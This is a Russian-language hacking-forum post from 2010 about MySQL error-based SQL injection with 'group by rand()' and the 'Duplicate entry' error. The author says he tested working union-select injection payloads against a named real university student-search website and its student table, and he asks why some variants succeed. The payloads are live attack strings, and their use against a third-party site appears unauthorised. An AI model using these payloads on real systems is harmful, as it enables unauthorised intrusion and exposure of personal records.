Показать сообщение отдельно

  #7  
Старый 14.06.2010, 22:03
BlackFan
Новичок
Регистрация: 03.01.2009
Сообщений: 27
Провел на форуме:
367442

Репутация: 41
По умолчанию

Эксперементирую с group by rand()...

На 5 версии
Код:
select count(0) from table group by concat(version(),x)
x = floor(rand(0)*2) или rand(0)|0 или rand(0)&1 или rand()^0
выдает Duplicate entry
x = rand(0)
выполняется без ошибок.

Решил проверить на 4 версии. (Проверял на сайте http://decanat5.ssau.ru/search_student в sql-inj)
И вот тут результаты просто поставили в ступор
Код:
' union select 1,count(*),3 from student group by concat(version(),rand(0))/*
Выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat((select 1),rand(0))/*
нет. В то время как
Код:
' union select 1,count(*),3 from student group by concat(version(),(select 1),rand(0))/*
выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat(version(),(select studentid from student limit 1),rand(0))/*
нет.

Так вот вопрос)
1) Почему на 4 версии иногда прокатывает с rand(0), а на 5, сколько не пытался, так и не получилось
2) Почему с floor(rand(0)*2) прокатывает всегда, а с теми же rand(0)|0 работает только на 5 версии
3) Почему вот такой запрос не выдает ошибку, не смотря на то что там floor(rand(0)*2)
Код:
' and (1) = (select count(*) from student group by floor(rand(0)*2))/*
 
Ответить с цитированием